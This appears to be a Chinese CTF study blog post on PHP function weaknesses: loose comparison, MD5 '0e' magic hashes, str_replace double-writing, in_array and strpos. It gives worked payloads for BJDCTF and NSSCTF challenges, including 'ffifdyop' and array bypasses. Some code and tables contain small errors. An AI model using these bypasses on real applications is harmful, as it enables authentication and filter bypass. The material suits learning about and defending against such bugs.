PHP函数缺陷漏洞

前言:

          新手记录一下学习过程,把一些知识点做成笔记打包到博客中,本文主要说一些关于php函数的漏洞缺陷,此类漏洞大多出现于CTF以及php白盒测试中,所以本文内容会偏向于CTF方向。主要讲解一些基础的php函数漏洞,如有不对的地方还请各位师傅对该文章进行补充和斧正

1.弱类型的安全比较

= 、 == 、 === 三个等号的比较中各有一些基础的绕过方式

= 是属于单纯的赋值

而 == 比较时则不会对比类型

=== 则会对比类型是否相等,通常会先将字符串类型转化成相同,再比较。

例如:

  •   当 a==b 时   会先将a,b的值转换成同类型再比较值
  •   当 a===b 先判断a,b类型,若相同,则比较值,若不相同,则返回false

2.弱类型比较之MD5对比

我们来看看以下代码:

$flag ="abcdewoshishabi";
if ($_GET['name'] != $_GET['password']){  
    // 如果账号不等于密码
 if (MD5($_GET['name']) == MD5($_GET['password'])){ 
     //就会进行MD5比对,这样我们就可以利用这个缺陷进行绕过
  echo $flag;
 }
 echo '?';
}

我们可以看到,他的逻辑关系是:

利用get请求的name和password接收值,此时第一个 if 判断,是要求不相等的,但是第二个 if 判断的时候,又要求他们的MD5值相等。

绕过原理:

这里我们可以通过 科学计数法进行绕过,因为计算器表达10的幂一般是用E或e

         如:2 760 000   =    2.76×10^6    =    2.76e6

         所以0e,无论后面跟什么值,都是0

0e开头常见的为字符串MD5值:

加密后的密文                      原值

QNKCDZO           0E830400451993494058024219903391

s214587387a       0E848240448830537924465865611904
s878926199a       0E545993274517709034328855841020
s155964671a       0E342768416822451524974117254469

240610708           0E462097431906509019562988736854

接下来的php函数漏洞介绍,我采用CTF题来为大家讲解

3.str_replace函数

题目链接:青少年CTF训练平台 | 原中学生CTF平台 | 青少年CTF

我们先看看题目代码:


<?php
include('flag.php');
error_reporting(0);
if(isset($_GET['value'])){
    $value = $_GET['value'];
    $replace_value = str_replace("滕子京","", $value);
    $replace_value = str_replace("巴陵郡","", $replace_value);
    $replace_value = str_replace("岳阳楼","", $replace_value);
    if($replace_value === "庆历四年春,滕子京谪守巴陵郡。越明年,政通人和,百废俱兴,乃重修岳阳楼,增其旧制,刻唐贤今人诗赋于其上,属予作文以记之。"){
        echo $flag;
    }else{
        echo "你写错了!我不管,你就是写错了!";
    }
}

注: 这里的isset() 函数 咋们看不懂可以不管
     它主要是通过 if判断指定变量是否存在且不为 NULL,则返回 TRUE,否则返回 FALSE。

replace()的函数缺陷:  只会去除替换一次,当我们采用双写输入 selectselect 时 他就会输出select,所以该函数只能过滤一次。

分析:

这里可以看到它文件包含了flag.php

然后就是 进入 第一个 if 循环 它首先要求 利用vulue变量进行 GET接收

之后就进行 if 的判断条件 为ture时 所要运行的内容

我们能看到,它这里是替换了 3个 内容  替换完之后 我们可以看到,第二个if循环的内容还是完整的,所以我们就能通过 replace()的函数缺陷进行绕过

构造playload:

file.php?value=庆历四年春,滕滕子京子京谪守巴巴陵郡陵郡。越明年,政通人和,百废俱兴,乃重修岳岳阳楼阳楼,增其旧制,刻唐贤今人诗赋于其上,属予作文以记之。

此时replace 只会过滤第一个巴陵郡,过滤了之后 还会在此组合,所以就能进行绕过。

4.in_array函数

我们先来了解一下这个函数的基础用法

语法格式:

in_array(search,array,type)

参数说明:

search是要搜索的值,array是被搜索的数组,这两个参数是必须的;
type是可选的,如果设置为true,则检查搜索的数据与数组的值的类型是否相同,当search的值是字符串时,开启type搜索区分大小写。

简单来说这个函数就是从数组中去搜索特定值,而这个函数大多数的漏洞就存在于 type 是否设置为true 。

刨析:

<?php

$flag="aabadadada";

$arr1 = [1];
if(isset($_GET['i'])){
    if($_GET['i'] !== "1"){
         if (in_array($arr1)){
            echo $flag;
        }
        else{
            echo "Error! Check error!";
        }
    }
    else{
        echo "Error! Invalid value!";
    }

}
?>

我们可以看到,上面的代码in_array函数是没有设置type值,所以这里就存在弱类型的比较,它是不会比较是否为同类型,所以当我们输入1a的时候也会成功输出flag

5.strpos

$flag= 'adsdada';

$x = '666';
$y = $_GET['h'];
if (strpos($x,$y,"0")){
    // 参数后面加个0的话就是转换成8进制,就输入的内容为666的8进制,但如果在前面加上0x,那就可以转换成16进制
    echo $flag;
}

strpos() 函数   是用来查找字符串中第一次出现的位置

主要的漏洞一般出现在是否有赋值0的情况
对于strpos()函数 我们可以利用换行进行绕过:  %0a

6.CTF习题讲解

[BJDCTF 2020]easy_md5

当我们打开时只有一个访问框

老步骤,先F12 看看源码发现什么也没,然后抓个包

随便输入数据,然进行抓包分析:
不难发现在 Response 包中的 Header 中存在
Hint 为:hint: select * from 'admin' where password=md5($pass,true)

我们尝试进行绕过:

传入 password=ffifdyop  即可绕过

原理:

执行 PayLoad 后会跳转到:

这里我们一样老规矩,先F12看看

有收获,我们看到注释那有PHP函数的漏洞,flag也许就在那,我们可以尝试进行绕过

<!--
$a = $GET['a'];
$b = $_GET['b'];

if($a != $b && md5($a) == md5($b)){
    header('Location: levell14.php');
-->

分析:

a和b变量 分别利用 get请求接收

此时第一个循环要求我们满足  a 不等于b 并且 a和b的md5值必须相等

这里我们可以通过 科学计数法 0e开头的md5值进行对比,即可绕过

构造 playload :

http://node4.anna.nssctf.cn:28987/levels91.php?a=QNKCDZO&b=240610708

即可绕过

执行 PayLoad 后会跳转到:http://node4.anna.nssctf.cn:28987/levell14.php

分析:

变量都为POST方式进行接收

并要求 param1 和 param2 的数据不能相同,但是 MD5 后进行强类型比较后必须相同;

这里我们可以利用数组绕过

Paylaod:

                  param1[]=1&param2[]=2

即可得到flag

[NSSCTF 2022 ]babyphp

好家伙,上来直接给代码,不多说,我们分析一波

这里有四个 if 判断,也就是说,我们满足 4个条件 即可获得flag

<?php
highlight_file(__FILE__);
include_once('flag.php');
if(isset($_POST['a'])&&!preg_match('/[0-9]/',$_POST['a'])&&intval($_POST['a'])){
    if(isset($_POST['b1'])&&$_POST['b2']){
        if($_POST['b1']!=$_POST['b2']&&md5($_POST['b1'])===md5($_POST['b2'])){
            if($_POST['c1']!=$_POST['c2']&&is_string($_POST['c1'])&&is_string($_POST['c2'])&&md5($_POST['c1'])==md5($_POST['c2'])){
                echo $flag;
            }else{
                echo "yee";
            }
        }else{
            echo "nop";
        }
    }else{
        echo "go on";
    }
}else{
    echo "let's get some php";
} 

首先我们看第一个条件:

if(isset($_POST['a'])&&!preg_match('/[0-9]/',$_POST['a'])&&intval($_POST['a'])){ 

它这里要求,我们的 a 变量 为post方式发送,并且 不能输入 0-9的数字

那我们直接利用数组将其绕过  a[]=666

第二和第三个条件:

if(isset($_POST['b1'])&&$_POST['b2']){
if($_POST['b1']!=$_POST['b2']&&md5($_POST['b1'])===md5($_POST['b2'])){ 

这里我们可以看到,b1和b2变量也都是用post接收,第一层 if 判断的要求是 赋值b1 和 b2

随后它要求  b1 和 b2 的内容不相同 并且 b1 和 b2 的md5 值 相同,我们可以很清楚看到, md5对比是利用了 三个等于号 

所以我们这里 继续使用 数组绕过  b1[]=566&b2[]=666

第四个条件:

if($_POST['c1']!=$_POST['c2']&&is_string($_POST['c1'])&&
is_string($_POST['c2'])&&md5($_POST['c1'])==md5($_POST['c2'])){
                echo $flag; 

最后是第四个 if :

c1 和 c2 不相等 并且 c1和c2 要求是字符串 且 md5值相等

那我们这里数组就明显是不能用了,我们这里可以看到 md5值是 两个等于号的弱比较

那么我们则可以使用 0e 的方法进行绕过

c1=QNKCDZO&c2=240610708

然后把上面几个playload串联起来即可获得flag

b9bd75e5-d2dc-4068-9eef-7ccea0c95a30
  • 30
    点赞
  • 21
    收藏
    觉得还不错? 一键收藏
  • 6
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 6
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值